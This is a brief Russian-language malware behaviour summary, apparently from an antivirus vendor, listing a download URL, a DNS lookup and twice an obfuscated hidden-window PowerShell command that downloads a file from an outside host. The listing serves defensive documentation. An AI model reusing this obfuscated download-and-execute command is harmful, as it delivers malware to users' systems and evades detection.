Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "pow^E^Rshell.ex^E^ -^exEc^UtI^on^Po^l^Icy^ B^y^PAss -N^O^pRo^FIle ^-WIn^d^O^w^S^T^ylE^ Hi^dDEn (^n^ew^-OBJ^EcT ^sY^St^e^M.NEt^.wE^BCliEn^T^).D^Ow^n^LOaDFiL^e^('http://ww...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "pow^E^Rshell.ex^E^ -^exEc^UtI^on^Po^l^Icy^ B^y^PAss -N^O^pRo^FIle ^-WIn^d^O^w^S^T^ylE^ Hi^dDEn (^n^ew^-OBJ^EcT ^sY^St^e^M.NEt^.wE^BCliEn^T^).D^Ow^n^LOaDFiL^e^('http://ww...' (со скрытым окном)